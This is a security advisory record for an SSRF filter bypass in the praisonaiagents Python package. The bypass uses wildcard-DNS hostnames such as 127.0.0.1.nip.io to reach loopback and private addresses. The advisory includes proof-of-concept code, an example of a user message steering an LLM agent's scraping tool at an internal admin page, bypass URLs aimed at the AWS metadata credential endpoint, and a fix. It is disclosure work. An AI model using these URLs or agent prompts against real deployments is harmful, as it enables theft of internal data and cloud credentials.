{"id":"CVE-2026-55526","aliases":["GHSA-x44h-65qv-cw74","PYSEC-2026-3905"],"title":"praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)","summary":"praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)","severity":"high","cvss":8.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents < 1.6.58"],"patched":["praisonaiagents 1.6.58"],"published":"2026-08-25","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:25:58.119615191Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-x44h-65qv-cw74","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x44h-65qv-cw74"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"url":"https://pypi.org/project/praisonaiagents"},{"url":"https://github.com/advisories/GHSA-x44h-65qv-cw74"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55526"}],"tags":["osv","pip","nvd","ghsa"],"epss":0.00205,"epssPercentile":0.10836,"cwe":["CWE-350","CWE-918"],"ingestedAt":"2026-08-25T15:27:53.577Z","slug":"CVE-2026-55526","body":"## Overview\n\n### Summary\n\n`praisonaiagents/tools/spider_tools.py` contains an SSRF protection bypass. The function\n`_host_is_blocked()` validates URLs against a list of blocked IP literals and hostname\naliases, but **never performs DNS resolution**. Any hostname that resolves to a private or\nloopback IP address — including public wildcard DNS services like `127.0.0.1.nip.io` —\nbypasses the protection entirely.\n\nThis has been **confirmed with a live exploit**: `scrape_page(\"http://127.0.0.1.nip.io:PORT/secret\")`\nmakes an HTTP request to `127.0.0.1:PORT` and returns the internal service response.\nNo attacker-controlled infrastructure is required.\n\n`scrape_page`, `extract_links`, `crawl`, and `extract_text` are all registered as\nLLM-callable agent tools (see `tools/__init__.py` lines 51-55), so any agent instructed\nto fetch a user-supplied URL will trigger this path.\n\nThis is a **new bypass** of prior fix commit `004dcfef` (GHSA-q9pw-vmhh-384g), which only\nrejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to\n`web_crawl_tools.py` (line 231: `socket.gethostbyname` call), but that fix was not\nported to `spider_tools.py`.\n\n### Details\n\n**Root cause — `spider_tools.py` lines 26-65:**\n\n```python\ndef _host_is_blocked(hostname: str) -> bool:\n    host = hostname.lower().rstrip(\".\")\n    # Checks literal aliases only — never resolves\n    if host in (\"localhost\", \"0.0.0.0\", \"::1\"):\n        return True\n    if host in (\"169.254.169.254\", \"metadata.google.internal\"):\n        return True\n    if any(host.endswith(s) for s in (\".local\", \".internal\", \".localdomain\")):\n        return True\n    # Tries to parse as IP literal only\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))\n    except OSError:\n        pass\n    return False   # <-- ANY real hostname passes without DNS lookup\n```\n\n`socket.inet_aton()` only converts dotted-decimal strings, not hostnames. For any real\nhostname (e.g. `127.0.0.1.nip.io`), both `ipaddress.ip_address()` and `socket.inet_aton()`\nraise exceptions, and the function returns `False` (not blocked).\n\n**Contrast with the fixed version in `web_crawl_tools.py` line 228-238:**\n\n```python\nif os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n    try:\n        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed\n        ip = ipaddress.ip_address(ip_str)\n        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:\n            continue  # BLOCKED\n    except socket.gaierror:\n        continue  # fail-closed\n```\n\n**Tool registration confirms this is user-reachable:**\n\n```python\n# praisonaiagents/tools/__init__.py lines 51-55\nTOOL_MAPPINGS = {\n    'scrape_page':   ('.spider_tools', None),  # <- user-reachable LLM tool\n    'extract_links': ('.spider_tools', None),\n    'crawl':         ('.spider_tools', None),\n    'extract_text':  ('.spider_tools', None),\n    ...\n}\n```\n\nAny agent given these tools will call `scrape_page(url)` when instructed to fetch\na user-supplied URL — including attacker-controlled ones.\n\n### PoC\n\n**Environment:** Python 3.x, `praisonaiagents <= 1.6.52`, internet access (for nip.io)\n\n**Step 1 — Verify the filter bypass (no network needed):**\n\n```python\nfrom praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked\n\n# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1\nprint(_host_is_blocked(\"127.0.0.1.nip.io\"))                        # False — NOT blocked\nprint(SpiderTools()._validate_url(\"http://127.0.0.1.nip.io/\"))      # True  — ALLOWED\nprint(_host_is_blocked(\"127.0.0.1\"))                                # True  — correctly blocked\n```\n\nExpected output:\n```\nFalse\nTrue\nTrue\n```\n\n**Step 2 — Full SSRF: internal service response exfiltrated**\n\n```python\nimport threading, time, requests\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom praisonaiagents.tools.spider_tools import SpiderTools\n\nPORT = 19235\nreceived = []\n\nclass InternalService(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers()\n        self.wfile.write(b'{\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}')\n        received.append(self.path)\n    def log_message(self, *a): pass\n\nthreading.Thread(\n    target=HTTPServer((\"127.0.0.1\", PORT), InternalService).serve_forever,\n    daemon=True\n).start()\ntime.sleep(0.2)\n\nattack_url = f\"http://127.0.0.1.nip.io:{PORT}/secrets.json\"\n\n# Filter allows it\nassert SpiderTools()._validate_url(attack_url) is True  # passes\n\n# HTTP request actually reaches 127.0.0.1\nr = requests.get(attack_url, timeout=5)\nprint(\"STATUS:\", r.status_code)    # 200\nprint(\"BODY:  \", r.text)           # {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nprint(\"HIT:   \", received)         # ['/secrets.json']\n```\n\nObserved output:\n```\nSTATUS: 200\nBODY:   {\"db_pass\":\"hunter2\",\"aws_key\":\"AKIAIOSFODNN7EXAMPLE\"}\nHIT:    ['/secrets.json']\n```\n\n**Step 3 — Agent-level trigger (how a user triggers this in production):**\n\n```python\nfrom praisonaiagents import Agent\nfrom praisonaiagents.tools import scrape_page\n\nagent = Agent(\n    name=\"WebResearcher\",\n    instructions=\"You are a research assistant. Fetch and summarize the given URL.\",\n    tools=[scrape_page],\n)\n\n# Attacker sends this message to the agent:\nresult = agent.start(\"Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin\")\n# Agent calls scrape_page(\"http://127.0.0.1.nip.io:8080/admin\")\n# Request hits 127.0.0.1:8080/admin\n# Internal admin panel content returned to attacker\nprint(result)\n```\n\n**Additional bypass URLs (no setup required):**\n\n| Target | URL |\n|--------|-----|\n| Localhost | `http://127.0.0.1.nip.io/` |\n| Private network | `http://10.0.0.1.nip.io/` |\n| AWS IMDS (via sslip.io) | `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/` |\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery (SSRF) — full read SSRF with\narbitrary port access.\n\n**Who is impacted:** Anyone deploying PraisonAI agents that include `scrape_page`,\n`extract_links`, `crawl`, or `extract_text` tools and accept user-supplied URLs. This\nincludes:\n\n- **Web research agents** (the primary intended use case for spider tools)\n- **Jobs API users** — any authenticated API caller who submits jobs with `agent_yaml`\n  specifying spider tools\n- **Cloud deployments (Critical escalation)**: On AWS EC2 with IMDSv1, fetching\n  `http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/`\n  may return temporary IAM credentials, leading to full cloud account compromise.\n\n**Severity note:** This is a patch-gap variant. The SSRF protection was correctly\nimplemented for IP literals and enhanced in commit `004dcfef` for encoding bypasses.\nThe DNS resolution check was added to `web_crawl_tools.py` but was missed in\n`spider_tools.py`, creating an exploitable inconsistency.\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nOne-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:\n\n```python\n# After existing literal checks, add:\ntry:\n    resolved = socket.gethostbyname(hostname)\n    return _ip_blocked(ipaddress.ip_address(resolved))\nexcept (socket.gaierror, ValueError, OSError):\n    return True  # fail-closed: unresolvable host is blocked\n```\n\n## Affected packages\n\n- `praisonaiagents < 1.6.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.58`","depth":"twilight","depthScore":47,"depthScoreParts":{"impact":46.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}